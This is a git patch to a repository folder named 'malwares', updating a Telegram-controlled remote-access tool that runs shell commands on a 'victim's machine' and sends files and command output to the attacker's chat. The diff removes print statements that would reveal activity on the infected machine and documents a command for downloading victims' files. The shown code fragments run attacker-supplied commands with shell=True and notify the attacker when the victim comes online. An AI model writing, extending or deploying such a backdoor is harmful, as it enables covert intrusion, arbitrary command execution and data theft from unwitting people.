From 0e349234fbaa73bd30310662eb3bfa8ca074098c Mon Sep 17 00:00:00 2001 From: Dhrumil Mistry <56185972+dmdhrumilmistry@users.noreply.github.com> Date: Tue, 14 Sep 2021 23:24:16 +0530 Subject: [PATCH] remove print statements from TRCE remove print statements from TRCE fix typo in readme add help for /download command --- malwares/TelegramRemoteCodeExecutor/HowToUse.md | 4 ++-- .../TelegramRemoteCodeExecutor.py | 6 +----- 2 files changed, 3 insertions(+), 7 deletions(-) diff --git a/malwares/TelegramRemoteCodeExecutor/HowToUse.md b/malwares/TelegramRemoteCodeExecutor/HowToUse.md index 2250e99..c7b8928 100644 --- a/malwares/TelegramRemoteCodeExecutor/HowToUse.md +++ b/malwares/TelegramRemoteCodeExecutor/HowToUse.md @@ -11,7 +11,7 @@ |:-----:|:--------:|:-------: | | /start | starts interaction with the bot and returns command issuer details | None | | /help | returns help menu | None | -| /exec | executes command on vitcim's machine | **command** | -| /cd** | change current working directory to specified path | **path** | +| /exec | executes command on vitcim's machine | command | +| /cd** | change current working directory to specified path | path | | /ls | list all the directories and folders in the current working directory | None | | /download | download file from the victims machine to attacker's via telegram chat | relative or complete file path | diff --git a/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py b/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py index 6ee0187..9f6cce7 100644 --- a/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py +++ b/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py @@ -23,6 +23,7 @@ /exec execute command on victim's machine /cd change directory /ls list file and folders of current working directory +/download download file from the victims machine to attacker's via telegram chat ''' bot = telebot.TeleBot(API_KEY) @@ -81,12 +82,10 @@ def execute(message:tele_message): return cmd = message.text.split('/exec')[-1].strip() - print('command executed : ', cmd) try: result = check_output(cmd, shell=True).decode('utf-8') except Exception as e: result = f'Exception Occurred : {e}' - print(result) bot.send_message(chat_id=CHAT_ID, text=result) @@ -142,15 +141,12 @@ def download_file(message:tele_message): bot.send_message(chat_id=CHAT_ID, text=f'[!] {file_path} does not exists.') - def start_bot(): ''' starts bot and informs hacker that victim's machine is up ''' - print('[*] Starting...') inform_attacker() bot.polling() - print('[!] Closing...') if __name__ == '__main__':